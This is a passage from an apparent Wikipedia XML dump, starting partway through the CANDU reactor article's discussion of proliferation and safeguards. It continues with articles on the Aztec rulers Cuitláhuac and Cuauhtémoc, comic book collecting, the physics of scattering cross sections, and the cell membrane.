A political issue with the CANDU reactor is the contention that its ability to refuel without shutting down also makes it easier to produce &quot;weapons grade&quot; [[plutonium]]; i.e., plutonium with a high concentration of Pu-239 and low concentrations of other Pu isotopes.  All commercial reactor designs produce plutonium as a natural byproduct of uranium fission (a portion of this plutonium subsequently undergoes fission itself and contributes significantly to the overall energy output of the reactor). The plutonium remaining in discharged reactor fuel is typically &quot;reactor grade&quot; (lower in Pu-239 relative abundance) and thus less attractive as a weapons material.  The contention, therefore, is that the on-load refuelling possible with CANDU reactors allows fuel to be discharged after relatively brief irradiation times, leading to spent fuel with elevated levels of Pu-239 compared to spent PWR/BWR fuel or typical CANDU spent fuel.  However, the ability to produce plutonium with low irradiation times is not unique to the CANDU design.  As with all power reactors, such misuse of the facility is not only uneconomical in terms of power production, but also easily detectable through international safeguards that are put in place.  Of most importance, therefore, is the requirement that all reactor designs be safeguarded to a comparable and acceptable level, as deemed by the international community.

In particular, Canada is a signatory to the [[Nuclear Non-Proliferation Treaty]], which requires states to agree not to produce nuclear weapons in order to purchase CANDU designs (which are in use or being built in [[China]], [[South Korea]], [[Argentina]], [[India]], [[Pakistan]], and [[Romania]]).  All CANDU reactors are subject to [[IAEA]] safeguards that ensure their compliance with that UN agency's global non-proliferation standard.  The acceptance of full-scope IAEA safeguards at a CANDU facility makes it very difficult to clandestinely discharge low-burnup fuel suitable for weapons production.  There have been no known cases of CANDU spent fuel being diverted to a weapons program.

There is a common misconception that the plutonium for India's [[Operation Smiling Buddha]] nuclear test was produced in a CANDU design; in fact the plutonium was produced in the unsafeguarded [[CIRUS]] reactor that is based on the [[NRX]] design, a different Canadian reactor design.  India has some unsafeguarded reactors based on the [[Pressurised Heavy Water Reactor]] design, used for power generation, and some spent fuel from the Madras atomic power station (MAPS) was reprocessed for plutonium in the late 1980's. (Reference: Albright &amp; Hibbs) While these reactors could in principle be used for plutonium production, India has a locally-designed and built [[Pool type reactor]] (Dhruva) which is a scaled-up version of the CIRUS designed for plutonium production.  It is this reactor which is thought to have produced the plutonium for India's more recent [[Operation Shakti]] nuclear tests.

{{cite journal
 | first = David
 | last = Albright
 | authorlink = 
 | coauthors = and Mark Hibbs
 | year = 1992
 | month = September
 | title = '''India's Silent Bomb'''
 | journal = Bulletin of the Atomic Scientist
 | volume = 48
 | issue = 7
 | pages = pp. 27-31
 | id = 
 | url = http://www.thebulletin.org/article.php?art_ofn=sep92albright
 }}

==Measures that address concerns==
Efficient CANDU installations are careful to control heavy water losses from the calandria, and also actively separate [[tritium]] from the moderator to sell in the secondary medical market.  Some large CANDU installations use surplus power to operate their own small [[deuterium]] separation plants, to upgrade the heavy water inventory and reduce costs.

The large thermal mass of the cool calandria acts as a substantial safety mechanism. If a fuel assembly were to overheat and melt, it would be cooled in the very process of changing the reactor geometry.  Furthermore, due to the use of natural uranium as the fuel, the reactor cannot sustain a chain reaction if its original fuel channel geometry is altered in any significant manner.

As mentioned above, by burning it as fuel, CANDU could actually render existing stocks of weapons-derived plutonium unsuitable for further use in weapons. A proposal to do this submitted by Atomic Energy of Canada to the [[United States Department of Energy]] is currently being debated by government agencies and [[non-governmental organizations]] &lt;sup&gt;&lt;small&gt;[[#Notes|3]]&lt;/small&gt;&lt;/sup&gt;.

==Notes==
*&lt;sup&gt;&lt;small&gt;1&lt;/small&gt;&lt;/sup&gt; [[#Whitlock|Whitlock]] [http://www.nuclearfaq.ca/cnf_sectionA.htm#candu_control A. CANDU Nuclear Power Technology A.12 How are CANDU reactors controlled?] ''Shutdown System 2 (SDS 2), in most CANDU designs, works by high-pressure injection of a liquid poison (gadolinium nitrate) into the low-pressure moderator.''
*&lt;sup&gt;&lt;small&gt;2&lt;/small&gt;&lt;/sup&gt; [[#Whitlock|Whitlock]] [http://www.nuclearfaq.ca/cnf_sectionA.htm#e A. CANDU Nuclear Power Technology A.3 What is &quot;heavy water&quot;?] ''&quot;reactor-grade&quot; heavy water, nominally 99.75 wt% deuterium content.''
*&lt;sup&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sup&gt; [[#CCNR|CCNR]]

==References==
*&lt;div id=&quot;Whitlock&quot;&gt;Whitlock:{{cite web|
url=http://www.nuclearfaq.ca|title=Canadian Nuclear FAQ|
work=The Canadian Nuclear FAQ by Dr. Jeremy Whitlock|accessdate=March 5|accessyear=2005}}
&lt;/div&gt;
*&lt;div id=&quot;CCNR&quot;&gt;CCNR: {{cite web|
url=http://www.ccnr.org/aecl_mox_plans.html|
title=Using Weapons-Derived Plutonium Fuel in CANDU Reactors|
work=Canadian Coalition for Nuclear Responsibility|accessdate=March 5|accessyear=2005}}
&lt;/div&gt;

==See also==
*[[Nuclear power in Canada]]
*[[List of nuclear reactors]]

==External links==
*[http://www.candu.org/ CANDU Owner's Group]
*[http://www.candu.org/candu_reactors.html A history of the CANDU reactor]
*[http://cantech.candu.org/ CanTeach - Educational and Reference Library on Candu Technology]
*[http://www.opg.com/default2.asp Ontario Power Generation]
*[http://www.brucepower.com/ Bruce Power]
*[http://www.nbpower.com/en/ New Brunswick Power]
*[http://www.hydroquebec.com/ Hydro Quebec]
*[http://www.aecl.ca/ Atomic Energy of Canada Limited]
*[http://www.nuclearsafety.gc.ca/ Canadian Nuclear Safety Commission]
*[http://www.cns-snc.ca/ Canadian Nuclear Society]
*[http://www.cna.ca/ Canadian Nuclear Association]
*[http://www.nuclearfaq.ca Canadian Nuclear FAQ]

[[Category:Nuclear power reactor types]]
[[Category:Science and technology in Canada]]

[[de:CANDU-Reaktor]]
[[fr:Réacteur CANDU]]
[[hu:CANDU]]
[[ja:CANDU炉]]
[[ro:CANDU]]</text>
    </revision>
  </page>
  <page>
    <title>Czar Nicholas II</title>
    <id>7476</id>
    <revision>
      <id>15905541</id>
      <timestamp>2002-07-08T18:13:15Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <minor />
      <comment>fixing the redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Nicholas II of Russia]]</text>
    </revision>
  </page>
  <page>
    <title>Cuitláhuac</title>
    <id>7477</id>
    <revision>
      <id>36641575</id>
      <timestamp>2006-01-25T13:59:40Z</timestamp>
      <contributor>
        <username>Valentinian</username>
        <id>256198</id>
      </contributor>
      <comment>stub</comment>
      <text xml:space="preserve">'''Cuitláhuac''' was the [[Aztec]] ruler ([[Tlatoani]]) of the city of [[Tenochtitlán]] from June to October [[1520]].  

He succeeded his brother  [[Moctezuma II]], who was, at the time, being held prisoner by [[Hernán Cortés]]' [[Spain|Spanish]] ''[[conquistador]]s''. He oversaw the major Aztec victory of [[1 July]], [[1520]], called by the Spaniards ''[[Battle_of_Tenochtitlan#Battle_Of_Tacuba|La Noche Triste]]'' (&quot;Night of Sorrow&quot;), in which 400 conquistadors and thousands of their [[mesoamerican]] allies were killed. 

Cuitláhuac died of [[smallpox]] during the [[siege of Tenochtitlan]] (October 1520) and was succeeded on the throne by his nephew [[Cuauhtémoc]].

[[Cuitláhuac, Veracruz]], is a municipality named for the Aztec ruler. Modern-day [[Mexico City]]'s [[Mexico City metro|metro system]] also has a [[Metro Cuitláhuac|Cuitláhuac station]] named in his honour.

{{start box}}
{{succession box|
title=[[Hueyi Tlatoani|Tlatoani of Tenochtitlán]]|
years=1520|
before=[[Moctezuma II]]|
after=[[Cuauhtémoc]]}}
{{end box}}

{{mexico-bio-stub}}
{{pre-Columbian-stub}}
{{royal-stub}}

[[Category:Aztec history]]
[[Category:1520 deaths]]
[[Category:Mexican emperors]]

[[de:Cuitláuac]]
[[fr:Cuitláhuac]]
[[es:Cuitláhuac]]
[[ja:クィトラワク]]
[[nl:Cuitlahuac]]</text>
    </revision>
  </page>
  <page>
    <title>Cuauhtémoc</title>
    <id>7478</id>
    <revision>
      <id>41634669</id>
      <timestamp>2006-02-28T18:01:59Z</timestamp>
      <contributor>
        <username>Rune.welsh</username>
        <id>240649</id>
      </contributor>
      <minor />
      <comment>rv, the date is legitimate</comment>
      <text xml:space="preserve">[[Image:Cuahtemoc.jpg|thumb|250px|Cuauhtémoc tortured by [[Hernán Cortéz]]]]
:''This article is about the Aztec Emperor named Cuauhtémoc.  For the [[Mexican Navy|Mexican Naval]] training ship or the [[brewery]] of the same name, please see [[Cuauhtémoc (ship)]] or [[Cervecería Cuauhtémoc]].''

'''Cuauhtémoc''' (c. [[1502]]&amp;ndash;[[February 28]], [[1525]]) (also '''Cuauhtemotzin''' or '''Guatimozin'''; also written Cuauhtemoc without the diacritical mark) was the last [[Aztec]] ruler ([[Tlatoani]]) of [[Tenochtitlán]] and the last &quot;Aztec Emperor&quot;.  The name means &quot;descending eagle&quot;, from [[Nahuatl]] ''cuauhtli'' (eagle) and ''temoc'' (descent); by extension it can be interpreted as &quot;setting sun&quot;.

Cuauhtémoc took power in [[1520]] as successor of [[Cuaitláhuac]] and was a nephew of the emperor [[Moctezuma II]], and his young wife was one of Moctezuma's daughters. He ascended to the throne as his city was being besieged by the Spanish and devastated by an epidemic of [[smallpox]]. He was about 18 years of age at the time. Probably after the [[The Massacre in the Main Temple, Tenochtitlán|killings in the main temple]], there were few Aztec captains available to take the position.

On [[August 13]], [[1521]], Cuauhtémoc went to call for reinforcements from the countryside to aid the falling Tenochtitlán, after eighty days straight of urban warfare against the Spanish. Of all the Nahuas, only Tlatelolcas remained loyal, and the surviving Tenochcas looked for refuge in [[Tlatelolco]] where even women took part in the battle.  Cuauhtémoc was captured while crossing [[Lake Texcoco]] in disguise. He surrendered to [[Hernán Cortés]] along with the surviving ''pillis'' (nobles), and offered him his knife and asked to be killed.

Cuauhtémoc was tortured by having his feet put to a fire, along with Tetlepanquetzal, the Tlatoani of Tacuba and the ''Cihuacóatl'' (counselor) Tlacotzin, but even so they refused to divulge information about the treasures the Spanish coveted. Cortés took him on his trip to [[Honduras]], perhaps because he feared Cuauhtémoc could lead an insurrection. Some Indian chronicles record that Cuauhtémoc had tried to warn other towns of the intentions of the conquerors along the way to Honduras, but he was denounced because they were also afraid of the Aztecs. [[Bernal Díaz del Castillo]] described a more elaborate version of a conspiracy. Cortés eventually ordered Cuauhtémoc hanged on [[28 February]] [[1525]] along with Teltepanquetzaltzin. Tlacotzin became a puppet tlatoani under the Spanish, but eventually he also was executed.

The modern-day [[Mexico|Mexican]] town of [[Ixcateopan]] in [[Guerrero]] state is home to an [[ossuary]] purportedly containing Cuauhtémoc's remains.

Many places in Mexico are named in honour of Cuauhtémoc. These include [[Ciudad Cuauhtémoc]] in [[Chihuahua (state)|Chihuahua]] and the [[Cuauhtémoc, D.F.|Cuauhtémoc]] borough of the [[Mexican Federal District]]. There is also a [[Metro Cuauhtémoc|Cuauhtémoc station]] on the [[Mexico City metro]] and the Monterrey [[Metrorrey]]. Cuauhtémoc is also a popular [[given name]] for Mexican boys, one of the few non-Spanish given names to be so.
{{start box}}
{{succession box|
title=[[Hueyi Tlatoani|Tlatoani of Tenochtitlán]]|
years=1520&amp;ndash;1521|
before=[[Cuitláhuac]]|
after=[[Diego Velázquez Tlacotzin]]'''&lt;br /&gt;''puppet under Spanish rule'''&amp;nbsp;}}
{{end box}}


[[Category:1502 births]]
[[Category:1525 deaths]]
[[Category:Aztec history]]
[[Category:Executed royalty members]]
[[Category:Mexican emperors]]

[[da:Cuauhtémoc]]
[[de:Cuáutemoc]]
[[es:Cuauhtémoc]]
[[fr:Cuáutemoc]]
[[it:Cuauhtémoc]]
[[ja:クアウテモック]]
[[nl:Cuauhtemoc]]
[[pl:Cuauhtemoc]]</text>
    </revision>
  </page>
  <page>
    <title>Comic book collecting</title>
    <id>7479</id>
    <revision>
      <id>41708537</id>
      <timestamp>2006-03-01T05:14:33Z</timestamp>
      <contributor>
        <username>Clawson</username>
        <id>100822</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">'''Comic book collecting''' is the result of an interest in antiquity, and [[nostalgia]], as is all [[collecting]] by its very nature. The [[comic book]] was brought into the [[pop culture]] arena by, most notably, [[Superman]] and [[Batman]]. Since the introduction of Superman there has been a surge in comic characters, books and companies entering into the industry. The industry is dominated by top competitors [[Marvel Comics]] (producers of [[Spider-Man]], [[X-Men]], [[Daredevil]], [[Fantastic Four]], [[Avengers (comics)|The Avengers]], and the [[Hulk (comics)|Hulk]]) and [[DC Comics|DC Comics]] (producers of Superman, [[Green Lantern]], [[Wonder Woman]], [[The Flash]] and ''[[The Sandman (DC Comics Modern Age)|The Sandman]]''). 

Comic book collecting is like all other collecting; while most collectors do so for personal interest in the enormous capabilities of the medium and the vast casts of characters, a few also collect exclusively for profit.  Partly to cater for this market, but also in response to the collectors&amp;#8217; drive to protect and preserve their collections (such as for insurance purposes), [[price guide]]s began to be published, notably [[Overstreet]] and The [[Comics Buyer's Guide]], which further developed the sense of a comics value by assigning a grading to the comics condition and adjusting the price accordingly, as well as serving to track the credits of individual creators.  Ancillary products have also developed, for example: storage bags, storage boxes, lamination services, (known as slabbing), and backing boards.

Numerous conventions and festivals are held around the world, the largest U.S. convention being the [[San Diego Comic Con]], held annually in July or August and boasting an attendance of some 80,000 fans over a four day period.

In the late nineties, the boom in personal computers and the growth of the internet has also seen the development of databases, notably [http://www.comicbookdb.com/ ComicBookDB.com], ComicBase and the web&amp;#8211;based [http://www.comics.org/ Grand Comic-Book Database], allowing further tracking of creators and their individual credits as well as special character appearances and storylines. 

Classically, [[comic book]]s tend to be like serialized television dramas or [[soap opera]]s, in that they have a flowing and continual plotline with numerous dynamic characters.  They sell mostly to a younger audience, from grade school students through adults; although the medium at one point catered primarily to children, in the last several decades the market has contracted to the point that the majority of readers are adults in their twenties.  Indeed, many comics now contain complex plots involving intelligent and well-developed characters, a development that has spurred more academic scholarship in the field.  A new issue of any given series is typically produced on a monthly basis, though popularity dictates that the most popular characters appear more frequently.  Those who read comic books in their youth but who stopped at some point and did not keep these books often want them back in their adulthood, largely for nostalgia's sake, and are willing to pay a comic book specialty dealer.

== The Speculator [[economic bubble|Bubble]] ==
The period of time from roughly 1985 through 1993 is seen as the point where the phenomenon known as comic book [[speculation]] reached its peak.  This boom period began with the publication of revolutionary titles like ''[[The Dark Knight Returns]]'' and ''[[Watchmen]]'' and the beginning of the &quot;summer crossover epics&quot; like ''[[Crisis on Infinite Earths]]'' and ''[[Secret Wars]]''.  Mainstream attention came to the industry in 1989-1991 with the success of the first two ''Batman'' movies and the much-hyped &quot;Death of Superman&quot;. Once aware of this niche market, the mainstream press focused on what made it notable to the public: its potential for making money. Articles appeared in newspapers, magazines and television newsmagazines pointing out how rare, high-demand comics such as ''Action Comics'' #1 (1st Appearance Superman) or ''Incredible Hulk'' #181 (1st Appearance Wolverine) could be sold for hundreds or even thousands of times what they originally cost on the newsstands. (Example: At one point after this boom period ended, director [[Kevin Smith]] purchased a copy of ''Superman'' #1 for $1,000,000--a sum he later admitted was more than it was worth.) 

Comic book publishers took advantage of this environment of speculation by using several techniques specifically designed to exploit the collectors' market. Such techniques included selling a comic with multiple different covers (knowing that many collectors would buy one of each version), selling certain issues in sealed polybags (knowing that collectors would buy two copies, one to keep preserved in the bag, and one to open and read), and publishing comics with &quot;gimmicks&quot; such as glow-in-the-dark, hologram-enhanced, or foil-embossed covers. These gimmicks were almost entirely cosmetic in nature, and almost never extended to the actual content of the comics. However, many speculators would buy multiple copies of these issues, anticipating that demand would allow them to sell them for a substantial profit at some nebulous point in the future. 

This period also saw a corresponding expansion in price guide publications, most notably [[Wizard (magazine)|Wizard Magazine]], which helped fuel the speculator boom with monthly columns such as the &quot;Wizard Top 10&quot; (highlighting the &quot;hottest&quot; back-issues of the month), &quot;Market Watch&quot; (which not only reported back-issue market trends, but also predicted future price trends), and &quot;Comic Watch&quot; (highlighting key &quot;undervalued&quot; back-issues). 

Ironically, the speculators who made a profit or at least broke even on their comic book &quot;investments&quot; did so only by selling to other speculators. In truth, very few of the comics produced in the early 90's have retained their value in the current market; with hundreds of thousands (or, in several prominent cases, over ten million) copies produced of certain issues, the value of these comics has all but disappeared. &quot;Hot&quot; comics like ''X-Men'' #1 and ''Youngblood'' #1 can today be found selling for under a dollar apiece.

Veteran comic book fans pointed out an important fact about the high value of classic comic books that was largely overlooked by the speculators: original comic books of the [[Golden Age of Comic Books]] were genuinely ''rare.''  Most of the original comic books had not survived to the present era, having been thrown out in the trash or discarded as worthless children's waste by parents (stories of uncaring parents throwing out their kids' comic book collections are well known to the [[post-WW2 baby boom|Baby Boom]] generation).  As a result, a comic book of interest to fans or collectors from the [[1940s]] through the [[1960s]], such as an original issue of ''Superman,'' ''Captain America,'' ''Challengers of the Unknown,'' or ''Vault of Horror,'' was often extremely difficult to find and thus highly prized by collectors, in a manner similar to coin collectors seeking copies of the [[1955 doubled die cent]]. In many ways, with an enormous supply of high-grade copies, the &quot;hot&quot; comics of the speculator boom were the complete opposite.

=== Bust ===
The comic book speculator market reached a saturation point in the early [[1990s]] and finally collapsed between [[1993]] and [[1997]]. Two-thirds of all comic book specialty stores closed in this time period, and numerous publishers were driven out of business. Even industry giant [[Marvel Comics]] was forced to declare bankruptcy in 1997, although they were able to continue publishing. [[Valiant Comics]]--at one point the 3rd largest comic book publisher--did not survive, and ceased publication in 1997. The miniseries ''[[Deathmate]]''&amp;mdash;a crossover between [[Image Comics]] and [[Valiant Comics]]&amp;mdash;is often considered to have been the final nail in the speculation market's coffin; although heavily hyped and highly anticipated when initially solicited, the series shipped so many months late that reader interest disappeared by the time the series finally materialized, leaving some retailers holding literally hundreds of unsellable copies of the various ''Deathmate'' crossovers.

== Post-bubble speculation ==
Since 1997, comic book sales have fallen to a fraction of early-90's levels, with print runs of many popular titles down as much as 90% from their peaks. Currently, most of the hype generated around the major companies' comics involves changes to the characters, well-known creators writing or illustrating a title, and buzz surrounding an adaptation to another media such as film or television.  The one remaining bastion for comic speculation remains in online auction sites such as [[eBay]]; but even there, comic books remain a buyer's market.

==List of comics collections==
Many private collections of comics exist, and they have also started to find their way onto the shelves of public libraries.  [[Museums]] and [[University|universities]] with notable collections of comics include:

*[http://www.bgsu.edu/colleges/library/pcl/pcl18.html Allen and John Saunders Collection] at Bowling Green State University's Popular Culture Library.
*[http://www.bl.uk/collections/comics.html British Comics Collection] at The British Library.
*[http://www.loc.gov/ The United State's Library of Congress] holds many collections of comic strips, comic books and periodicals.
*[http://www.lib.msu.edu/comics/ Comic art collection] of Michigan State University.
*[http://web.uflib.ufl.edu/spec/comics/ Comics Collection, including the Sol Davidson Collection] at the University of Florida.
*[http://www.nypl.org/research/chss/grd/resguides/comic/using.html Comic Book Research Guide] of The New York Public Library.
*[http://cartoons.osu.edu/ Cartoon Research Library] of Ohio State University
*[http://library.kent.ac.uk/cartoons/ CartoonHub] the website of the Centre for the Study of Cartoons and Caricature, University of Kent
*[http://www.museodelfumetto.it/ Foundation &amp; Museum Franco Fossati] founded by Furio Fossati, Luigi F. Bona, Sergio Giuffrida, Alfredo Castelli, Gianfranco Goria and Liviano Riva to preserve the huge collection by the late Franco Fossati (wellknown journalist, comic-art expert and manager of Disney Comics in Italy). More than 500.000 objects (comics, originals etc.).

==External links==
* [http://www.heritagecomics.com/common/worth.php How To Figure Out How Much Your Comics Are Worth]
* [http://www.heritagecomics.com/common/auction/pricesrealized.php/ Comics Auction Results archive]
* [http://www.cgccomics.com/ Comics Guaranty Corp.] The leading third-party grading service for comic books. Site includes census data and message boards.

[[Category:Comic book collecting]]</text>
    </revision>
  </page>
  <page>
    <title>Cross section (physics)</title>
    <id>7480</id>
    <revision>
      <id>41491672</id>
      <timestamp>2006-02-27T18:54:27Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">In [[scattering]], a '''differential cross section''' is defined by the [[probability]] to observe a [[scattering theory|scattered particle]] in a given [[quantum state]] per [[solid angle]] unit, such as within a given [[Cone (solid)|cone]] of observation, if the target is irradiated by a [[flux]] of one particle per surface unit:

:&lt;math&gt;{d \sigma \over d \Omega}={\hbox{Scattered flux / Unit of solid angle} \over \hbox{Incident flux / Unit of surface}}&lt;/math&gt;  

[[Image:Cross_section.jpg|600px|thumb|center|definition of cross section]]

The '''integral cross section''' is the [[integral]] of the differential cross section on the whole sphere of observation (4&lt;math&gt;\pi&lt;/math&gt; [[steradian]]):  

:&lt;math&gt;\sigma=\int d\Omega {d \sigma \over d \Omega}&lt;/math&gt;

A cross section is therefore a measure of the effective surface seen by the impinging particles.  Its unit is the surface unit.

The cross section of two [[elementary_particle|particle]]s (i.e. observed when the two particles are [[collision | colliding]] with each other) is therefore a measure of the interaction event between the two particles.

==Relation to the [[S matrix]]==

If the [[reduced mass]]es and [[momentum | momenta]] of the colliding system are ''m&lt;sub&gt;i&lt;/sub&gt;'', &lt;math&gt;\vec{p}_i&lt;/math&gt; and ''m&lt;sub&gt;f&lt;/sub&gt;'', &lt;math&gt;\vec{p}_f&lt;/math&gt; before and after the collision respectively, the differential cross section in given by

&lt;math&gt;
{d\sigma \over d\Omega} = (2\pi)^4 m_i m_f {p_f \over p_i} |T_{fi}|^2  
&lt;/math&gt;

Where the on-shell ''T'' matrix is defined by

&lt;math&gt;
S_{fi} 
= 
\delta_{fi} 
- 
2\pi i \delta(E_f -E_i)
\delta(\vec{p}_i-\vec{p}_f) T_{fi}
&lt;/math&gt;

in terms of the [[S matrix]].  The &lt;math&gt;\delta&lt;/math&gt; function is the distribution called the [[Dirac delta function]].  The computation of the [[S matrix]] is the main aim of the [[scattering theory]].

==Nuclear physics==

In [[nuclear physics]], it is found convenient to express probability of a particular event by a cross section. Statistically, the centers of the atoms in a thin foil can be considered as points evenly distributed over a plane. The center of an atomic projectile striking this plane has geometrically a definite probability of passing within a certain distance (r) of one of these points. In fact, if there are n atomic centers in an area A of the plane, this probability is ''(n&amp;pi;r&lt;sup&gt;2&lt;/sup&gt;)/A'', which is simply the ratio of the aggregate area of circles of radius r drawn around the points to the whole area. If we think of the atoms as impenetrable steel discs and the impinging particle as a bullet of negligible diameter, this ratio is the probability that the bullet will strike a steel disc, i.e., that the atomic projectile will be stopped by the foil. If it is the fraction of impinging atoms getting through the foil which is measured, the result can still be expressed in terms of the equivalent stopping cross section of the atoms. This notion can be extended to any interaction between the impinging particle and the atoms in the target. For example, the probability that an alpha particle striking a beryllium target will produce a neutron can be expressed as the equivalent cross section of beryllium for this type of reaction. 

In nuclear physics it is conventional to consider that the impinging particles have negligible diameter. Cross sections can be computed for any sort of process, such as capture scattering, production of neutrons, etc. In many cases, the number of particles emitted or scattered in nuclear processes is not measured directly; one merely measures the attenuation produced in a parallel beam of incident particles by the interposition of a known thickness of a particular material. The cross section obtained in this way is called the total cross section and is usually denoted by a &amp;sigma; or &amp;sigma;&lt;sub&gt;T&lt;/sub&gt;. 

The typical nuclear diameter is of the order of 10&lt;sup&gt;&amp;minus;12&lt;/sup&gt; cm. We might therefore expect the cross sections for nuclear reactions to be of the order of &amp;pi;''r'',&lt;sup&gt;2&lt;/sup&gt; or roughly 10&lt;sup&gt;&amp;minus;24&lt;/sup&gt; cm&lt;sup&gt;2&lt;/sup&gt; and this unit is given its own name, the [[barn (unit)|barn]], and is the unit in which cross sections are usually expressed. Actually the observed cross sections vary enormously. Thus for slow neutrons absorbed by the (n, gamma) reaction the cross section in some cases is as much as 1,000 barns, while the cross sections for transmutations by gamma-ray absorption are in the neighborhood of 0.001 barns.

== [[Radar]] ==
The (monostatic) [[radar cross section]] is defined as 4 π times the [[radio]] differential cross section at 180 degrees.

==Bibliography==

R.G. Newton, Scattering theory of waves and particles, McGraw Hill, 1966

[[Category:Nuclear physics]]
[[Category:Particle physics]]
[[Category:Scattering]]

[[de:Wirkungsquerschnitt]]
[[es:Sección eficaz]]
[[fr:Section efficace]]
[[it:Sezione d'urto]]
[[ja:反応断面積]]
[[ru:Сечение рассеяния]]</text>
    </revision>
  </page>
  <page>
    <title>Cell membrane</title>
    <id>7481</id>
    <revision>
      <id>40894954</id>
      <timestamp>2006-02-23T18:56:39Z</timestamp>
      <contributor>
        <username>Peruvianllama</username>
        <id>43680</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.10.221.251|204.10.221.251]] ([[User talk:204.10.221.251|talk]]) to last version by Tycho</comment>
      <text xml:space="preserve">[[Image:CellMembraneDrawing.jpg|thumb|400px|Drawing of a cell membrane]]
A component of every [[cell (biology)|biological cell]], the selectively permeable '''cell membrane''' (or '''plasma membrane''' or '''plasmalemma''') is a thin and structured [[Lipid bilayer|bilayer]] of [[phospholipid]] and [[protein]] [[molecule]]s that envelopes the [[cell (biology)|cell]]. It separates a cell's interior from its surroundings and controls what moves in and out. Cell surface membranes often contain [[Transmembrane receptor|receptor proteins]] and [[Cell adhesion|cell adhesion proteins]]. There are also other proteins with a variety of functions.
These membrane proteins are important for the regulation of cell behavior and the organization of cells in tissues.
 
In [[animal]] cells, the cell membrane establishes this separation alone, whereas in yeast, bacteria and plants an additional [[cell wall]] forms the outermost boundary, providing primarily mechanical support. The plasma membrane is only about 10 [[Nanometre|nm]] thick and may be discerned only faintly with a [[transmission electron microscope]]. One of the key roles of the membrane is to maintain the [[cell potential]].

==A fluid mosaic==

The basic composition and structure of the plasma membrane is the same as that of the membranes that surround [[organelle]]s and other subcellular compartments. The foundation is a [[lipid bilayer|phospholipid bilayer]], and the membrane as a whole is often described as a ''fluid mosaic'' &amp;ndash; a two-dimensional fluid of freely diffusing lipids, dotted or embedded with proteins, which may function as channels or transporters across the membrane, or as receptors. The model was first proposed by S.J. Singer (1971) as a lipid protein model and extended to include the fluid character in a publication with G.L. Nicolson in &quot;Science&quot; (1972). 

Some of these proteins simply adhere to the membrane (''extrinsic'' or ''peripheral'' proteins), whereas others might be said to reside within it or to span it (''intrinsic'' proteins &amp;ndash; more at [[integral membrane protein]]). ''Glycoproteins'' have carbohydrates attached to their extracellular domains. Cells may vary the variety and the relative amounts of different lipids to maintain the fluidity of their membranes despite changes in temperature. [[Cholesterol]] molecules (in case of eukaryotes) or [[hopanoids]] (in case of prokaryotes) in the bilayer assist in regulating fluidity.

==Detailed structure==

Phospholipid molecules in the cell membrane are &quot;fluid,&quot; in the sense of free to diffuse and exhibit rapid lateral diffusion. [[Lipid rafts]] and [[caveolae]] are examples of cholesterol-enriched microdomains in the cell membrane. Many proteins are not free to diffuse. The [[cytoskeleton]] undergirds the cell membrane and provides anchoring points for integral membrane proteins. Anchoring restricts them to a particular cell face or surface &amp;ndash; for example, the &quot;apical&quot; surface of [[epithelial cell]]s that line the [[vertebrate]] [[gastrointestinal tract|gut]] &amp;ndash; and limits how far they may diffuse within the bilayer. Rather than presenting always a formless and fluid contour, the plasma membrane surface of cells may show structure. Returning to the example of epithelial cells in the gut, the apical surfaces of many such cells are dense with involutions, all similar in size. The finger-like projections, called '''microvilli''', increase cell surface area and facilitate the absorption of molecules from the outside. [[Synapse]]s are another example of highly-structured membrane.

New material is incorporated into the membrane, or deleted from it, by a variety of mechanicsms. (i) Fusion of intracellular vesicles with the membrane not only excretes the contents of the vesicle, but also incorporates the vesicle membrane's components into the cell membrane. The membrane may form blebs that pinch off to become vesicles. (ii) If a membrane is continuous with a tubular structure made of membrane material, then material from the tube can be drawn into the membrane continuously. (iii) Although the concentration of membrane components in the aqueous phase is low (stable membrane components have low solubility in water), exchange of molecules with this small reservoir is possible. In all cases, the mechanical tension in the membrane has an effect on the rate of exchange. In some cells, usually having a smooth shape, the membrane tension and area are interrelated by elastic and dynamical mechanical properties, and the time-dependent interrelation is sometimes called homeostasis, area regulation or tension regulation.

==Transport across membranes==

As a lipid bilayer, the cell membrane is [[Semipermeable membrane|semi-permeable]]. This means that only some molecules can pass unhindered in or out of the cell. These molecules are either small or [[lipophilic]]. Other molecules can pass in or out of the cell, if there are specific transport molecules.

Depending on the molecule, transport occurs by different mechanisms, which can be separated into those that do not consume energy in the form of [[Adenosine triphosphate|ATP]] (passive transport) and those that do (active transport).

===Passive transport===
{{main|Passive transport}}

Passive transport is a means of moving different chemical substances across membranes through [[diffusion]] of [[hydrophobic]] (non-polar) and small polar molecules, or facilitated diffusion of polar and ionic molecules, which relies on a [[transport protein]] to provide a channel or bind to specific molecules. This spontaneous process decreases free energy, and increases [[entropy]] in a system. Unlike active transport, this process does not involve any chemical energy ([[adenosine triphosphate|ATP]]).

===Active transport===
{{main|Active transport}}

Typically moves molecules against their [[electrochemical gradient]], a process that would be [[entropy|entropically]] unfavorable were it not [[stoichiometry|stoichiometrically]] coupled with the hydrolysis of ATP. This coupling can be either primary or secondary. In the primary active transport, transporters that move molecules against their electrical/chemical gradient, hydrolyze ATP. In the secondary active transport, transporters use energy derived from transport of another molecule in the direction of their gradient, to move other molecules in the direction against their gradient. This can be either [[symport]] (in the same direction) or [[antiport]] (in the opposite direction). 

Examples include:
#The usual cases of [[molecular exchanger]]s, [[Molecular transporter|transporters]] and [[transmembrane ATPase|pumps]]
#[[endocytosis]] and [[exocytosis]], where molecules packaged in membrane [[vesicle (biology)|vesicle]]s are either imported or exported respectively, can be thought of as active transport.

==External links==
*[http://www.biochemweb.org/lipids_membranes.shtml Lipids, Membranes and Vesicle Trafficking - The Virtual Library of Biochemistry and Cell Biology]
*[http://www.westernblotting.org/protocol%20membrane%20extraction.htm Cell membrane protein extraction protocol]
*[http://www.phys.unsw.edu.au/~jw/tension.html Membrane homeostasis, tension regulation, mechanosensitive membrane exchange and membrane traffic]

[[Category:Membrane biology]][[Category:Organelles]]

[[cs:Cytoplazmatická membrána]]
[[da:Cellemembran]]
[[de:Zellmembran]]
[[es:Membrana plasmática]]
[[fr:Membrane cellulaire]]
[[ko:세포막]]
[[id:Membran sel]]
[[is:Frumuhimna]]
[[it:Membrana cellulare]]
[[he:קרום תא]]
